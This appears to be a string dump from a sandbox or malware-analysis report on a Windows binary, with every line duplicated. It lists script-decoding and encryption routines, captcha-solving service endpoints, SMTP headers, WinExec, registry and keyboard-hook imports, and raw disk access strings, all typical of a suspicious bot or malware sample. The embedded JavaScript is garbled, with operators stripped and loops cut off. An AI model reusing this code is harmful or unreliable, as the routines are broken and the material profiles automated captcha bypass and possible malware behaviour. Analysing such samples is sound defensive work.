function in_array(what, arr) {for (var i = 0; i
function get_next_token() {var n_newlines = 0;var c = "";do {if (parser_pos >= input.length) {return ["", "TK_EOF"];}c = input.charAt(parser_pos);parser_pos = 1;if (c === "\n") {n_newlines = 1;}} while (in_array(c, whitespace));if (n_newlines > 1) {for (var i = 0; i = input.length) {break;}}}parser_pos = 2;return ["/*" comment "*/", "TK_BLOCK_COMMENT"];}if (input.charAt(parser_pos) === "/") {comment = c;while (input.charAt(parser_pos) !== "\r" && input.charAt(parser_pos) !== "\n") {comment = input.charAt(parser_pos);parser_pos = 1;if (parser_pos >= input.length) {break;}}parser_pos = 1;if (wanted_newline) {print_newline();}return [comment, "TK_COMMENT"];}}if (c === "'" || c === "\"" || c === "/" && (last_type === "TK_WORD" && last_text === "return" || last_type === "TK_START_EXPR" || last_type === "TK_END_BLOCK" || last_type === "TK_OPERATOR" || last_type === "TK_EOF" || last_type === "TK_END_COMMAND")) {var sep = c;var esc = false;c = "";if (parser_pos = input.length) {break;}}}parser_pos = 1;if (last_type === "TK_END_COMMAND") {print_newline();}return [sep c sep, "TK_STRING"];}if (in_array(c, punct)) {while (parser_pos = input.length) {break;}}return [c, "TK_OPERATOR"];}return [c, "TK_UNKNOWN"];}
function get_next_token() {var n_newlines = 0;var c = "";do {if (parser_pos >= input.length) {return ["", "TK_EOF"];}c = input.charAt(parser_pos);parser_pos = 1;if (c === "\n") {n_newlines = 1;}} while (in_array(c, whitespace));if (n_newlines > 1) {for (var i = 0; i = input.length) {break;}}}parser_pos = 2;return ["/*" comment "*/", "TK_BLOCK_COMMENT"];}if (input.charAt(parser_pos) === "/") {comment = c;while (input.charAt(parser_pos) !== "\r" && input.charAt(parser_pos) !== "\n") {comment = input.charAt(parser_pos);parser_pos = 1;if (parser_pos >= input.length) {break;}}parser_pos = 1;if (wanted_newline) {print_newline();}return [comment, "TK_COMMENT"];}}if (c === "'" || c === "\"" || c === "/" && (last_type === "TK_WORD" && last_text === "return" || last_type === "TK_START_EXPR" || last_type === "TK_END_BLOCK" || last_type === "TK_OPERATOR" || last_type === "TK_EOF" || last_type === "TK_END_COMMAND")) {var sep = c;var esc = false;c = "";if (parser_pos = input.length) {break;}}}parser_pos = 1;if (last_type === "TK_END_COMMAND") {print_newline();}return [sep c sep, "TK_STRING"];}if (in_array(c, punct)) {while (parser_pos = input.length) {break;}}return [c, "TK_OPERATOR"];}return [c, "TK_UNKNOWN"];}
indent_character = indent_character || " ";indent_size = indent_size || 4;indent_string = "";while (indent_size--) {indent_string = indent_character;}input = js_source_text;last_word = "";last_type = "TK_START_EXPR";last_text = "";output = [];do_block_just_closed = false;var_line = false;var_line_tainted = false;whitespace = "\n\r\t ".split("");wordchar = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_$".split("");punct = " - * / % & -- = = -= *= /= $= == === != !== > = > >> >>>= >>=
indent_character = indent_character || " ";indent_size = indent_size || 4;indent_string = "";while (indent_size--) {indent_string = indent_character;}input = js_source_text;last_word = "";last_type = "TK_START_EXPR";last_text = "";output = [];do_block_just_closed = false;var_line = false;var_line_tainted = false;whitespace = "\n\r\t ".split("");wordchar = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_$".split("");punct = " - * / % & -- = = -= *= /= $= == === != !== > = > >> >>>= >>=
x =a.replace(/^\s /, '')
x =a.replace(/^\s /, '')
1970/01/01 00:00:00
1970/01/01 00:00:00
1970-01-01 00:00:00
1970-01-01 00:00:00
Adodb.Stream
Adodb.Stream
MSScriptControl.ScriptControl
MSScriptControl.ScriptControl
Scripting.Encoder
Scripting.Encoder
1, 2, 0, 1, 2, 0, 2, 0, 0, 2, 0, 2, 1, 0, 2, 0,
1, 2, 0, 1, 2, 0, 2, 0, 0, 2, 0, 2, 1, 0, 2, 0,
1, 0, 2, 0, 1, 1, 2, 0, 0, 2, 1, 0, 2, 0, 0, 2,
1, 0, 2, 0, 1, 1, 2, 0, 0, 2, 1, 0, 2, 0, 0, 2,
1, 1, 0, 2, 0, 2, 0, 1, 0, 1, 1, 2, 0, 1, 0, 2,
1, 1, 0, 2, 0, 2, 0, 1, 0, 1, 1, 2, 0, 1, 0, 2,
1, 0, 2, 0, 1, 1, 2, 0, 0, 1, 1, 2, 0, 1, 0, 2
1, 0, 2, 0, 1, 1, 2, 0, 0, 1, 1, 2, 0, 1, 0, 2
digits["A".charCodeAt(0) i] = i
digits["A".charCodeAt(0) i] = i
digits["a".charCodeAt(0) i] = i 26
digits["a".charCodeAt(0) i] = i 26
for (var i=0; i
for (var i=0; i
if (char.charCodeAt(0) > 126) return char
if (char.charCodeAt(0) > 126) return char
if (escapes.indexOf(char) != -1) return escaped.substr(escapes.indexOf(char), 1)
if (escapes.indexOf(char) != -1) return escaped.substr(escapes.indexOf(char), 1)
val = (digits[string.substr(0,1).charCodeAt(0)]
val = (digits[string.substr(0,1).charCodeAt(0)]
val = (digits[string.substr(1,1).charCodeAt(0)] >> 4)
val = (digits[string.substr(1,1).charCodeAt(0)] >> 4)
val = (digits[string.substr(1,1).charCodeAt(0)] & 0xf)
val = (digits[string.substr(1,1).charCodeAt(0)] & 0xf)
val = ((digits[string.substr(2,1).charCodeAt(0)] >> 2)
val = ((digits[string.substr(2,1).charCodeAt(0)] >> 2)
val = ((digits[string.substr(2,1).charCodeAt(0)] & 0x3)
val = ((digits[string.substr(2,1).charCodeAt(0)] & 0x3)
val = (digits[string.substr(3,1).charCodeAt(0)]
val = (digits[string.substr(3,1).charCodeAt(0)]
scriptIndex = encodingString.indexOf(marker, stringIndex)
scriptIndex = encodingString.indexOf(marker, stringIndex)
unEncodingString = encodingString.substring(stringIndex, scriptIndex)
unEncodingString = encodingString.substring(stringIndex, scriptIndex)
scriptIndex = marker.length
scriptIndex = marker.length
unEncodingString = encodingString.substr(stringIndex, encodingString.length)
unEncodingString = encodingString.substr(stringIndex, encodingString.length)
encodingLength = encodingString.substr(scriptIndex, 6)
encodingLength = encodingString.substr(scriptIndex, 6)
scriptIndex = (6 "==".length)
scriptIndex = (6 "==".length)
stringIndex = scriptIndex "DQgAAA==^#~@".length
stringIndex = scriptIndex "DQgAAA==^#~@".length
char = encodingString.substr(scriptIndex, 1)
char = encodingString.substr(scriptIndex, 1)
if (char.charCodeAt(0)
if (char.charCodeAt(0)
unEncodingString = String.fromCharCode(transformed[pick_encoding[unEncodingIndexd]][char.charCodeAt(0)])
unEncodingString = String.fromCharCode(transformed[pick_encoding[unEncodingIndexd]][char.charCodeAt(0)])
unEncodingString = unescape(encodingString.substr( scriptIndex, 1))
unEncodingString = unescape(encodingString.substr( scriptIndex, 1))
re = new RegExp("(JScript|VBscript).encode", "gmi")
re = new RegExp("(JScript|VBscript).encode", "gmi")
while(arr = re.exec(unEncodingString)) unEncodingString = RegExp.leftContext RegExp.$1 RegExp.rightContext
while(arr = re.exec(unEncodingString)) unEncodingString = RegExp.leftContext RegExp.$1 RegExp.rightContext
strdec(AdodbStream.ReadText);
strdec(AdodbStream.ReadText);
function urlencodeutf8(str) {
function urlencodeutf8(str) {
function urlencode(str) {
function urlencode(str) {
function urldecode(str) {
function urldecode(str) {
urlencode
urlencode
0.0.0.0
0.0.0.0
0000000000
0000000000
TempObj=JSON.parse(str);
TempObj=JSON.parse(str);
var obj=JSON.parse(str);
var obj=JSON.parse(str);
Lobj.push(obj);
Lobj.push(obj);
return Lobj.length;
return Lobj.length;
function GetAllKey(){
function GetAllKey(){
Lobj = JSON.parse(str);
Lobj = JSON.parse(str);
var str=JSON.stringify(Lobj);
var str=JSON.stringify(Lobj);
return Lobj.str;
return Lobj.str;
if (typeof Date.prototype.toJSON !== 'function') {
if (typeof Date.prototype.toJSON !== 'function') {
Date.prototype.toJSON = function (key) {
Date.prototype.toJSON = function (key) {
return isFinite(this.valueOf())
return isFinite(this.valueOf())
? this.getUTCFullYear() '-'
? this.getUTCFullYear() '-'
f(this.getUTCMonth() 1) '-'
f(this.getUTCMonth() 1) '-'
f(this.getUTCDate()) 'T'
f(this.getUTCDate()) 'T'
f(this.getUTCHours()) ':'
f(this.getUTCHours()) ':'
f(this.getUTCMinutes()) ':'
f(this.getUTCMinutes()) ':'
f(this.getUTCSeconds()) 'Z'
f(this.getUTCSeconds()) 'Z'
String.prototype.toJSON =
String.prototype.toJSON =
Number.prototype.toJSON =
Number.prototype.toJSON =
Boolean.prototype.toJSON = function (key) {
Boolean.prototype.toJSON = function (key) {
return this.valueOf();
return this.valueOf();
'"' : '\\"',
'"' : '\\"',
'\\': '\\\\'
'\\': '\\\\'
escapable.lastIndex = 0;
escapable.lastIndex = 0;
return escapable.test(string) ? '"' string.replace(escapable, function (a) {
return escapable.test(string) ? '"' string.replace(escapable, function (a) {
: '\\u' ('0000' a.charCodeAt(0).toString(16)).slice(-4);
: '\\u' ('0000' a.charCodeAt(0).toString(16)).slice(-4);
function str(key, holder) {
function str(key, holder) {
k, // The member key.
k, // The member key.
value = holder[key];
value = holder[key];
typeof value.toJSON === 'function') {
typeof value.toJSON === 'function') {
value = value.toJSON(key);
value = value.toJSON(key);
value = rep.call(holder, key, value);
value = rep.call(holder, key, value);
if (Object.prototype.toString.apply(value) === '[object Array]') {
if (Object.prototype.toString.apply(value) === '[object Array]') {
length = value.length;
length = value.length;
v = partial.length === 0
v = partial.length === 0
? '[\n' gap partial.join(',\n' gap) '\n' mind ']'
? '[\n' gap partial.join(',\n' gap) '\n' mind ']'
: '[' partial.join(',') ']';
: '[' partial.join(',') ']';
length = rep.length;
length = rep.length;
partial.push(quote(k) (gap ? ': ' : ':') v);
partial.push(quote(k) (gap ? ': ' : ':') v);
if (Object.prototype.hasOwnProperty.call(value, k)) {
if (Object.prototype.hasOwnProperty.call(value, k)) {
v = partial.length === 0
v = partial.length === 0
? '{\n' gap partial.join(',\n' gap) '\n' mind '}'
? '{\n' gap partial.join(',\n' gap) '\n' mind '}'
: '{' partial.join(',') '}';
: '{' partial.join(',') '}';
if (typeof JSON.stringify !== 'function') {
if (typeof JSON.stringify !== 'function') {
JSON.stringify = function (value, replacer, space) {
JSON.stringify = function (value, replacer, space) {
typeof replacer.length !== 'number')) {
typeof replacer.length !== 'number')) {
throw new Error('JSON.stringify');
throw new Error('JSON.stringify');
if (typeof JSON.parse !== 'function') {
if (typeof JSON.parse !== 'function') {
JSON.parse = function (text, reviver) {
JSON.parse = function (text, reviver) {
function walk(holder, key) {
function walk(holder, key) {
var k, v, value = holder[key];
var k, v, value = holder[key];
if (Object.prototype.hasOwnProperty.call(value, k)) {
if (Object.prototype.hasOwnProperty.call(value, k)) {
return reviver.call(holder, key, value);
return reviver.call(holder, key, value);
cx.lastIndex = 0;
cx.lastIndex = 0;
if (cx.test(text)) {
if (cx.test(text)) {
text = text.replace(cx, function (a) {
text = text.replace(cx, function (a) {
('0000' a.charCodeAt(0).toString(16)).slice(-4);
('0000' a.charCodeAt(0).toString(16)).slice(-4);
.test(text.replace(/\\(?:["\\\/bfnrt]|u[0-9a-fA-F]{4})/g, '@')
.test(text.replace(/\\(?:["\\\/bfnrt]|u[0-9a-fA-F]{4})/g, '@')
.replace(/"[^"\\\n\r]*"|true|false|null|-?\d (?:\.\d*)?(?:[eE][ \-]?\d )?/g, ']')
.replace(/"[^"\\\n\r]*"|true|false|null|-?\d (?:\.\d*)?(?:[eE][ \-]?\d )?/g, ']')
.replace(/(?:^|:|,)(?:\s*\[) /g, ''))) {
.replace(/(?:^|:|,)(?:\s*\[) /g, ''))) {
throw new SyntaxError('JSON.parse');
throw new SyntaxError('JSON.parse');
JSON.stringify(Lobj['
JSON.stringify(Lobj['
Lobj.push("
Lobj.push("
Lobj.push(
Lobj.push(
Lobj.push('
Lobj.push('
Lobj.length
Lobj.length
JSON.stringify(Lobj[
JSON.stringify(Lobj[
Lobj.splice(
Lobj.splice(
JSON.stringify(Lobj
JSON.stringify(Lobj
GetAllKey
GetAllKey
function encrypt(str,pass){
function encrypt(str,pass){
data = m_xxtea.encrypt(str, pass);
data = m_xxtea.encrypt(str, pass);
function decrypt(str,pass){
function decrypt(str,pass){
data = m_xxtea.decrypt(str, pass);
data = m_xxtea.decrypt(str, pass);
if (str.match(/^[\x00-\x7f]*$/) != null) {
if (str.match(/^[\x00-\x7f]*$/) != null) {
return str.toString();
return str.toString();
len = str.length;
len = str.length;
c = str.charCodeAt(i);
c = str.charCodeAt(i);
out[j] = str.charAt(i);
out[j] = str.charAt(i);
out[j] = String.fromCharCode(0xc0 | (c >>> 6),
out[j] = String.fromCharCode(0xc0 | (c >>> 6),
out[j] = String.fromCharCode(0xe0 | (c >>> 12),
out[j] = String.fromCharCode(0xe0 | (c >>> 12),
c2 = str.charCodeAt(i);
c2 = str.charCodeAt(i);
out[j] = String.fromCharCode(0xf0 | ((c >>> 18) & 0x3f),
out[j] = String.fromCharCode(0xf0 | ((c >>> 18) & 0x3f),
return out.join('');
return out.join('');
if ((str.match(/^[\x00-\x7f]*$/) != null) ||
if ((str.match(/^[\x00-\x7f]*$/) != null) ||
(str.match(/^[\x00-\xff]*$/) == null)) {
(str.match(/^[\x00-\xff]*$/) == null)) {
c = str.charCodeAt(i );
c = str.charCodeAt(i );
out[j ] = str.charAt(i - 1);
out[j ] = str.charAt(i - 1);
c2 = str.charCodeAt(i );
c2 = str.charCodeAt(i );
out[j ] = String.fromCharCode(((c & 0x1f)
out[j ] = String.fromCharCode(((c & 0x1f)
c3 = str.charCodeAt(i );
c3 = str.charCodeAt(i );
out[j ] = String.fromCharCode(((c & 0x0f)
out[j ] = String.fromCharCode(((c & 0x0f)
c4 = str.charCodeAt(i );
c4 = str.charCodeAt(i );
out[j ] = String.fromCharCode(((s >>> 10) & 0x03ff) | 0xd800,
out[j ] = String.fromCharCode(((s >>> 10) & 0x03ff) | 0xd800,
var base64EncodeChars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789 /'.split('');
var base64EncodeChars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789 /'.split('');
len = str.length;
len = str.length;
c = str.charCodeAt(i )
c = str.charCodeAt(i )
str.charCodeAt(i )
str.charCodeAt(i )
str.charCodeAt(i );
str.charCodeAt(i );
c = str.charCodeAt(i );
c = str.charCodeAt(i );
c = str.charCodeAt(i )
c = str.charCodeAt(i )
return out.join('');
return out.join('');
-1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1,
-1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1,
-1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, 62, -1, -1, -1, 63,
-1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, 62, -1, -1, -1, 63,
if (/[^ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789\ \/\=]/.test(str)) {
if (/[^ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789\ \/\=]/.test(str)) {
if (str.charAt(len - 2) == '=') {
if (str.charAt(len - 2) == '=') {
else if (str.charAt(len - 1) == '=') {
else if (str.charAt(len - 1) == '=') {
c1 = base64DecodeChars[str.charCodeAt(i )];
c1 = base64DecodeChars[str.charCodeAt(i )];
c2 = base64DecodeChars[str.charCodeAt(i )];
c2 = base64DecodeChars[str.charCodeAt(i )];
out[j ] = String.fromCharCode((c1 > 4));
out[j ] = String.fromCharCode((c1 > 4));
c3 = base64DecodeChars[str.charCodeAt(i )];
c3 = base64DecodeChars[str.charCodeAt(i )];
out[j ] = String.fromCharCode(((c2 & 0x0f) > 2));
out[j ] = String.fromCharCode(((c2 & 0x0f) > 2));
c4 = base64DecodeChars[str.charCodeAt(i )];
c4 = base64DecodeChars[str.charCodeAt(i )];
out[j ] = String.fromCharCode(((c3 & 0x03)
out[j ] = String.fromCharCode(((c3 & 0x03)
var length = data.length;
var length = data.length;
data[i] = String.fromCharCode(
data[i] = String.fromCharCode(
return data.join('').substring(0, n);
return data.join('').substring(0, n);
return data.join('');
return data.join('');
var length = string.length;
var length = string.length;
result[i >> 2] = string.charCodeAt(i) |
result[i >> 2] = string.charCodeAt(i) |
string.charCodeAt(i 1)
string.charCodeAt(i 1)
string.charCodeAt(i 2)
string.charCodeAt(i 2)
string.charCodeAt(i 3)
string.charCodeAt(i 3)
result[result.length] = length;
result[result.length] = length;
this.encrypt = function(string, key) {
this.encrypt = function(string, key) {
var k = stringToLongArray(key, false);
var k = stringToLongArray(key, false);
if (k.length
if (k.length
k.length = 4;
k.length = 4;
var n = v.length - 1;
var n = v.length - 1;
var mx, e, p, q = Math.floor(6 52 / (n 1)), sum = 0;
var mx, e, p, q = Math.floor(6 52 / (n 1)), sum = 0;
this.decrypt = function(string, key) {
this.decrypt = function(string, key) {
var mx, e, p, q = Math.floor(6 52 / (n 1)), sum = q * delta & 0xffffffff;
var mx, e, p, q = Math.floor(6 52 / (n 1)), sum = q * delta & 0xffffffff;
* See hXXp://pajhome.org.uk/crypt/md5 for details.
* See hXXp://pajhome.org.uk/crypt/md5 for details.
function hex_sha1(s){return binb2hex(core_sha1(str2binb(s),s.length * chrsz));}
function hex_sha1(s){return binb2hex(core_sha1(str2binb(s),s.length * chrsz));}
function b64_sha1(s){return binb2b64(core_sha1(str2binb(s),s.length * chrsz));}
function b64_sha1(s){return binb2b64(core_sha1(str2binb(s),s.length * chrsz));}
function str_sha1(s){return binb2str(core_sha1(str2binb(s),s.length * chrsz));}
function str_sha1(s){return binb2str(core_sha1(str2binb(s),s.length * chrsz));}
function hex_hmac_sha1(key, data){ return binb2hex(core_hmac_sha1(key, data));}
function hex_hmac_sha1(key, data){ return binb2hex(core_hmac_sha1(key, data));}
function b64_hmac_sha1(key, data){ return binb2b64(core_hmac_sha1(key, data));}
function b64_hmac_sha1(key, data){ return binb2b64(core_hmac_sha1(key, data));}
function str_hmac_sha1(key, data){ return binb2str(core_hmac_sha1(key, data));}
function str_hmac_sha1(key, data){ return binb2str(core_hmac_sha1(key, data));}
for(var i = 0; i
for(var i = 0; i
* Calculate the HMAC-SHA1 of a key and some data
* Calculate the HMAC-SHA1 of a key and some data
function core_hmac_sha1(key, data)
function core_hmac_sha1(key, data)
var bkey = str2binb(key);
var bkey = str2binb(key);
if(bkey.length > 16) bkey = core_sha1(bkey, key.length * chrsz);
if(bkey.length > 16) bkey = core_sha1(bkey, key.length * chrsz);
ipad[i] = bkey[i] ^ 0x36363636;
ipad[i] = bkey[i] ^ 0x36363636;
opad[i] = bkey[i] ^ 0x5C5C5C5C;
opad[i] = bkey[i] ^ 0x5C5C5C5C;
var hash = core_sha1(ipad.concat(str2binb(data)), 512 data.length * chrsz);
var hash = core_sha1(ipad.concat(str2binb(data)), 512 data.length * chrsz);
return core_sha1(opad.concat(hash), 512 160);
return core_sha1(opad.concat(hash), 512 160);
* Add integers, wrapping at 2^32. This uses 16-bit operations internally
* Add integers, wrapping at 2^32. This uses 16-bit operations internally
for(var i = 0; i
for(var i = 0; i
bin[i>>5] |= (str.charCodeAt(i / chrsz) & mask)
bin[i>>5] |= (str.charCodeAt(i / chrsz) & mask)
for(var i = 0; i
for(var i = 0; i
str = String.fromCharCode((bin[i>>5] >>> (32 - chrsz - i2)) & mask);
str = String.fromCharCode((bin[i>>5] >>> (32 - chrsz - i2)) & mask);
for(var i = 0; i
for(var i = 0; i
str = hex_tab.charAt((binarray[i>>2] >> ((3 - i%4)*8 4)) & 0xF)
str = hex_tab.charAt((binarray[i>>2] >> ((3 - i%4)*8 4)) & 0xF)
hex_tab.charAt((binarray[i>>2] >> ((3 - i%4)*8 )) & 0xF);
hex_tab.charAt((binarray[i>>2] >> ((3 - i%4)*8 )) & 0xF);
for(var i = 0; i
for(var i = 0; i
if(i * 8 j * 6 > binarray.length * 32) str = b64pad;
if(i * 8 j * 6 > binarray.length * 32) str = b64pad;
else str = tab.charAt((triplet >> 6*(3-j)) & 0x3F);
else str = tab.charAt((triplet >> 6*(3-j)) & 0x3F);
__MSVCRT_HEAP_SELECT
__MSVCRT_HEAP_SELECT
qqcrypt.dll
qqcrypt.dll
/-UM2.SD60O:
/-UM2.SD60O:
6.LX:0GN?2CEE4>=L785T:1/Z=,*a?'%d@%#fB#!hB!
6.LX:0GN?2CEE4>=L785T:1/Z=,*a?'%d@%#fB#!hB!
dA@(
dA@(
(2015.06.23)
(2015.06.23)
(2015.06.09)
(2015.06.09)
(2015.05.28)
(2015.05.28)
(2015.05.26)
(2015.05.26)
(2015.05.25)
(2015.05.25)
tn|px.lD
tn|px.lD
.comment {color:green}
.comment {color:green}
*.txt
*.txt
|*.txt
|*.txt
%d&&'
%d&&'
123456789
123456789
00003333
00003333
1.2.18
1.2.18
%*.*f
%*.*f
CNotSupportedException
CNotSupportedException
commctrl_DragListMsg
commctrl_DragListMsg
Afx:%x:%x:%x:%x:%x
Afx:%x:%x:%x:%x:%x
Afx:%x:%x
Afx:%x:%x
COMCTL32.DLL
COMCTL32.DLL
CCmdTarget
CCmdTarget
MSWHEEL_ROLLMSG
MSWHEEL_ROLLMSG
Broken pipe
Broken pipe
Inappropriate I/O control operation
Inappropriate I/O control operation
Operation not permitted
Operation not permitted
iphlpapi.dll
iphlpapi.dll
MPR.dll
MPR.dll
VERSION.dll
VERSION.dll
.PAVCNotSupportedException@@
.PAVCNotSupportedException@@
(*.prn)|*.prn|
(*.prn)|*.prn|
(*.*)|*.*||
(*.*)|*.*||
Shell32.dll
Shell32.dll
Mpr.dll
Mpr.dll
Advapi32.dll
Advapi32.dll
User32.dll
User32.dll
Gdi32.dll
Gdi32.dll
(&07-034/)7 '
(&07-034/)7 '
?? / %d]
?? / %d]
%d / %d]
%d / %d]
: %d]
: %d]
(*.WAV;*.MID)|*.WAV;*.MID|WAV
(*.WAV;*.MID)|*.WAV;*.MID|WAV
(*.WAV)|*.WAV|MIDI
(*.WAV)|*.WAV|MIDI
(*.MID)|*.MID|
(*.MID)|*.MID|
(*.txt)|*.txt|
(*.txt)|*.txt|
(*.JPG;*.PNG;*.BMP;*.GIF;*.ICO;*.CUR)|*.JPG;*.PNG;*.BMP;*.GIF;*.ICO;*.CUR|JPG
(*.JPG;*.PNG;*.BMP;*.GIF;*.ICO;*.CUR)|*.JPG;*.PNG;*.BMP;*.GIF;*.ICO;*.CUR|JPG
(*.JPG)|*.JPG|PNG
(*.JPG)|*.JPG|PNG
(*.PNG)|*.PNG|BMP
(*.PNG)|*.PNG|BMP
(*.BMP)|*.BMP|GIF
(*.BMP)|*.BMP|GIF
(*.GIF)|*.GIF|
(*.GIF)|*.GIF|
(*.ICO)|*.ICO|
(*.ICO)|*.ICO|
(*.CUR)|*.CUR|
(*.CUR)|*.CUR|
%s:%d
%s:%d
icmp.dll
icmp.dll
windows
windows
1.6.9
1.6.9
unsupported zlib version
unsupported zlib version
png_read_image: unsupported transformation
png_read_image: unsupported transformation
out.prn
out.prn
%d.%d
%d.%d
%d / %d
%d / %d
%d/%d
%d/%d
Bogus message code %d
Bogus message code %d
libpng error: %s
libpng error: %s
libpng warning: %s
libpng warning: %s
bad keyword
bad keyword
libpng does not support gamma background rgb_to_gray
libpng does not support gamma background rgb_to_gray
Palette is NULL in indexed image
Palette is NULL in indexed image
(%d-%d):
(%d-%d):
%ld%c
%ld%c
Y%dY%dX%dX%dHeight%dHeight%dWidth%dWidth%dRECT(%d, %d)-(%d, %d)RECT(%d, %d)-(%d, %d)Styles0xXStyles0xXControl ID%dControl ID%dHandle0xXHandle0xX%s |
%s |
burlywood
burlywood
\winhlp32.exe
\winhlp32.exe
(*.avi)|*.avi
(*.avi)|*.avi
WPFT532.CNV
WPFT532.CNV
WPFT632.CNV
WPFT632.CNV
EXCEL32.CNV
EXCEL32.CNV
write32.wpc
write32.wpc
Windows Write
Windows Write
mswrd632.wpc
mswrd632.wpc
Word for Windows 6.0
Word for Windows 6.0
wword5.cnv
wword5.cnv
Word for Windows 5.0
Word for Windows 5.0
mswrd832.cnv
mswrd832.cnv
mswrd632.cnv
mswrd632.cnv
Word 6.0/95 for Windows & Macintosh
Word 6.0/95 for Windows & Macintosh
html32.cnv
html32.cnv
:%d) |
:%d) |
%I64d%s
%I64d%s
:0{}%s
:0{}%s
:%d)%s
:%d)%s
%s
%s
Reply-To: %s
Reply-To: %s
From: %s
From: %s
To: %s
To: %s
Subject: %s
Subject: %s
Date: %s
Date: %s
Cc: %s
Cc: %s
%a, %d %b %Y %H:%M:%S
%a, %d %b %Y %H:%M:%S
SMTP
SMTP
;3 #>6.&
;3 #>6.&
'2, / 0&7!4-)1#
'2, / 0&7!4-)1#
.PAVCSimpleException@@
.PAVCSimpleException@@
.PAVCMemoryException@@
.PAVCMemoryException@@
.?AVCNotSupportedException@@
.?AVCNotSupportedException@@
.PAVCResourceException@@
.PAVCResourceException@@
.PAVCUserException@@
.PAVCUserException@@
.?AVCCmdTarget@@
.?AVCCmdTarget@@
.?AVCCmdUI@@
.?AVCCmdUI@@
.?AVCTestCmdUI@@
.?AVCTestCmdUI@@
.PAVCArchiveException@@
.PAVCArchiveException@@
c:\%original file name%.exe
c:\%original file name%.exe
GetWindowsDirectoryA
GetWindowsDirectoryA
WinExec
WinExec
RegOpenKeyExA
RegOpenKeyExA
RegCreateKeyExA
RegCreateKeyExA
GetViewportExtEx
GetViewportExtEx
GetViewportOrgEx
GetViewportOrgEx
SetViewportOrgEx
SetViewportOrgEx
OffsetViewportOrgEx
OffsetViewportOrgEx
SetViewportExtEx
SetViewportExtEx
ScaleViewportExtEx
ScaleViewportExtEx
UnhookWindowsHookEx
UnhookWindowsHookEx
SetWindowsHookExA
SetWindowsHookExA
GetKeyState
GetKeyState
CreateDialogIndirectParamA
CreateDialogIndirectParamA
%f]\"M ~
%f]\"M ~
#include "l.chs\afxres.rc" // Standard components
#include "l.chs\afxres.rc" // Standard components
AVIFIL32.dll
AVIFIL32.dll
comdlg32.dll
comdlg32.dll
RASAPI32.dll
RASAPI32.dll
WINMM.dll
WINMM.dll
WINSPOOL.DRV
WINSPOOL.DRV
9.5.25.212
9.5.25.212
1, 0, 6, 6
1, 0, 6, 6
- Skin.dll
- Skin.dll
2014, 2, 7, 1
2014, 2, 7, 1
FastVerCode.DLL
FastVerCode.DLL
CCaptchaRecognizer::recognizeByCodeTypeAndUrl
CCaptchaRecognizer::recognizeByCodeTypeAndUrl
hXXp://s1.uudati.com:
hXXp://s1.uudati.com:
hXXp://s1.taskok.com:
hXXp://s1.taskok.com:
hXXp://s1.uudama.com:
hXXp://s1.uudama.com:
hXXp://s1.uuwise.com:
hXXp://s1.uuwise.com:
/Api/config.aspx
/Api/config.aspx
2.0.0.5
2.0.0.5
WiseClientAPI-2.0.0.5
WiseClientAPI-2.0.0.5
CCaptchaRecognizer::__UpdateTKEY
CCaptchaRecognizer::__UpdateTKEY
CCaptchaRecognizer::_IsNeedLogin
CCaptchaRecognizer::_IsNeedLogin
/Api/DecodeImg.aspx
/Api/DecodeImg.aspx
xxxxxxxxxxx
xxxxxxxxxxx
hXXp://p1.uuwise.net:
hXXp://p1.uuwise.net:
hXXp://p1.uudama.net:
hXXp://p1.uudama.net:
hXXp://p1.taskok.com:
hXXp://p1.taskok.com:
hXXp://p1.uuwise.com:
hXXp://p1.uuwise.com:
hXXp://p1.uudama.com:
hXXp://p1.uudama.com:
CCaptchaRecognizer::easyRecognizeUrl
CCaptchaRecognizer::easyRecognizeUrl
%d%d%d%d%d
%d%d%d%d%d
CCaptchaRecognizer::_CalcRandomPort
CCaptchaRecognizer::_CalcRandomPort
/Api/VerifyAPIFile.aspx
/Api/VerifyAPIFile.aspx
/Api/UserLogin.aspx
/Api/UserLogin.aspx
CCaptchaRecognizer::login
CCaptchaRecognizer::login
/Api/UserReg.aspx
/Api/UserReg.aspx
/Api/PayCard.aspx
/Api/PayCard.aspx
/Api/ReportError.aspx
/Api/ReportError.aspx
CCaptchaRecognizer::reportError
CCaptchaRecognizer::reportError
/Api/UserPoint.aspx
/Api/UserPoint.aspx
|2.0.0.5|
|2.0.0.5|
/Api/DecodeResult.aspx
/Api/DecodeResult.aspx
ID/KEY/
ID/KEY/
ByTypeBytes.JPG
ByTypeBytes.JPG
%d-%d-%d
%d-%d-%d
CHttpRequestHelper::_ReadResponse
CHttpRequestHelper::_ReadResponse
User-Agent:WiseClient-2.0.0.5;
User-Agent:WiseClient-2.0.0.5;
WiseClient-2.0.0.5
WiseClient-2.0.0.5
CHttpRequestHelper::_InternalRequest
CHttpRequestHelper::_InternalRequest
CHttpRequestHelper::RequestGetImage
CHttpRequestHelper::RequestGetImage
CHttpRequestHelper::RequestPost
CHttpRequestHelper::RequestPost
ServerPort
ServerPort
UUExtConfig.ini
UUExtConfig.ini
-:-:-.%d
-:-:-.%d
tCRYPTDLL.DLL
tCRYPTDLL.DLL
3.cn.pool.ntp.org
3.cn.pool.ntp.org
2.cn.pool.ntp.org
2.cn.pool.ntp.org
1.cn.pool.ntp.org
1.cn.pool.ntp.org
0.cn.pool.ntp.org
0.cn.pool.ntp.org
cn.pool.ntp.org
cn.pool.ntp.org
\\.\PHYSICALDRIVE0
\\.\PHYSICALDRIVE0
Microsoft Windows Millennium Edition
Microsoft Windows Millennium Edition
Microsoft Windows 98
Microsoft Windows 98
Microsoft Windows 95
Microsoft Windows 95
%s (Build %d)
%s (Build %d)
Service Pack 6a (Build %d)
Service Pack 6a (Build %d)
SOFTWARE\Microsoft\Windows NT\CurrentVersion\Hotfix\Q246009
SOFTWARE\Microsoft\Windows NT\CurrentVersion\Hotfix\Q246009
Web Edition
Web Edition
Service Pack %d (Build %d)
Service Pack %d (Build %d)
